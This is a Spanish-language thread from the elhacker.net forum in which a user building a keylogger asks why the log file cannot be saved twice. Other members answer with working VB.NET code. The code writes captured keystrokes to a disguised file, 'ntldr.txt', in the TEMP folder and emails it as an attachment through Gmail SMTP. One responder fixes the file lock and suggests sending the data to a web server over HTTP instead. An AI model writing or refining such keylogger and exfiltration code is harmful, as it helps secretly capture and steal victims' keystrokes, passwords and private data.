Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: .:Weeds:. en 31 Diciembre 2010, 16:53 pm



Título: [Ayuda]Problema con streamwriter
Publicado por: .:Weeds:. en 31 Diciembre 2010, 16:53 pm
Bueno estoy haciendo un keylogger, ya me lee las pulsaciones y los nombres de las ventanas, y lo que hago es que lo mande a un correo gmail, un archivo situado en TEMP que es donde se guarda todo, el problema es que no me deja guardarlo más de una vez.
Código
  1. MyEscritor = New StreamWriter(Environ("TEMP") & "\ntldr.txt")
  2. MyEscritor.Write(TextBox1.Text)
  3. MyEscritor.Flush()
  4. MyEscritor.Close()
  5. MyEscritor = Nothing

Me tira este error al intentar guardarlo por segunda vez.
Código:
IO Exception
El proceso no puede obtener acceso al archivo 'C:\Users\Weeds\AppData\Local\Temp\ntldr.txt' porque está siendo utilizado en otro proceso.

Que puedo hacer ahi? Saludos y Feliz NaviAño Nuevo!!  :laugh:


Título: Re: [Ayuda]Problema con streamwriter
Publicado por: [D4N93R] en 31 Diciembre 2010, 19:24 pm
Primero que todo, Crea un FileStream, se da mejor para eso. Y segundo, mete todo en un try y en el finally haces el Close.

Saludos!


Título: Re: [Ayuda]Problema con streamwriter
Publicado por: raul338 en 31 Diciembre 2010, 21:08 pm
en lugar de instanciar un StreamWriter usa File.CreateText :)


Título: Re: [Ayuda]Problema con streamwriter
Publicado por: .:Weeds:. en 1 Enero 2011, 19:51 pm
El problema creo que está en que lo envio por email y se queda en uso el fichero de texto.
Código
  1. MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
Pero al hacer esto tampoco me permite usarlo
Código
  1. MyMailMessage = nothing

 :huh: :huh: :huh:
Saludos y feliz año!


Título: Re: [Ayuda]Problema con streamwriter
Publicado por: .::IT::. en 1 Enero 2011, 20:02 pm
Hombre subir tu codigo para probarlo haber si te echo una mano!!!!!!


Título: Re: [Ayuda]Problema con streamwriter
Publicado por: .:Weeds:. en 1 Enero 2011, 20:47 pm
Es algo sencillo pero que no quire funcionar xD
Código
  1. Try
  2. 'Crear archivo
  3. Dim sw As StreamWriter = File.CreateText(Environ("TEMP") & "\ntldr.txt")
  4. sw.WriteLine(TextBox1.Text)
  5. sw.Flush()
  6. sw.Close()
  7. 'Email
  8. Dim MyMailMessage As New MailMessage()
  9. MyMailMessage.From = New MailAddress("lala@gmail.com")
  10. MyMailMessage.To.Add("lala@gmail.com")
  11. MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
  12. MyMailMessage.Body = "Abre el archivo adjunto."
  13. MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
  14. Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  15. SMTPServer.Port = 587
  16. SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
  17. SMTPServer.EnableSsl = True
  18. SMTPServer.Send(MyMailMessage)
  19. MyMailMessage = Nothing
  20. SMTPServer = Nothing
  21. Catch ex As SmtpException
  22. End Try
  23.  

A la segunda vez que lo intento guardar me salta la excepción.


Título: Re: [Ayuda]Problema con streamwriter
Publicado por: .::IT::. en 4 Enero 2011, 23:17 pm
prueba con lo siguiente(lo puse en un Button):

Código
  1. Dim sw As StreamWriter
  2. Dim RutaFile As String = Environ("TEMP") & "\ntldr.txt"
  3. Dim MyMailMessage As MailMessage = New MailMessage()
  4. Dim SMTPServer As SmtpClient
  5.  
  6. Try
  7.     'esta linea permite insertar texto en un archivo, si no existe lo crea
  8.     sw = File.AppendText(RutaFile)
  9.  
  10.     'agregar linea del texbox y cerrar el StreamWriter
  11.     sw.WriteLine(Me.TextBox1.Text)
  12.     sw.Close()
  13.  
  14.     'Email
  15.     MyMailMessage.From = New MailAddress("lala@gmail.com")
  16.     MyMailMessage.To.Add("lala@gmail.com")
  17.     MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
  18.     MyMailMessage.Body = "Abre el archivo adjunto."
  19.     MyMailMessage.Attachments.Add(New Attachment(RutaFile))
  20.     SMTPServer = New SmtpClient("smtp.gmail.com")
  21.     SMTPServer.Port = 587
  22.     SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
  23.     SMTPServer.EnableSsl = True
  24.     SMTPServer.Send(MyMailMessage)
  25.  
  26.     MessageBox.Show("Ok")
  27.     Me.TextBox1.Text = ""
  28. Catch ex As SmtpException
  29.     MessageBox.Show(ex.Message, "SmptError", MessageBoxButtons.OK, MessageBoxIcon.Error)
  30. Catch ex As Exception
  31.     MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
  32. Finally
  33.      'aqui esta lo que faltaba
  34.      MyMailMessage.Attachments.Dispose()
  35. End Try
  36.  

Como podras darte cuenta faltaba liberar los recursos adjuntos con

Código
  1. MyMailMessage.Attachments.Dispose()

Nota: Tio yo que tu enviaria la info de ese archivo por http  a un servidor es mas rapido, osea usar formulairos html en un server para poder enviar los datos del usando HttpWebRequest
Saludos!!!.


Título: Re: [Ayuda]Problema con streamwriter
Publicado por: .:Weeds:. en 7 Enero 2011, 23:02 pm
Gracias como siempre .:IT:., tus codes me salvan la vida xD
Por cierto como que por http? Podrias explicarme eso?

Saludos.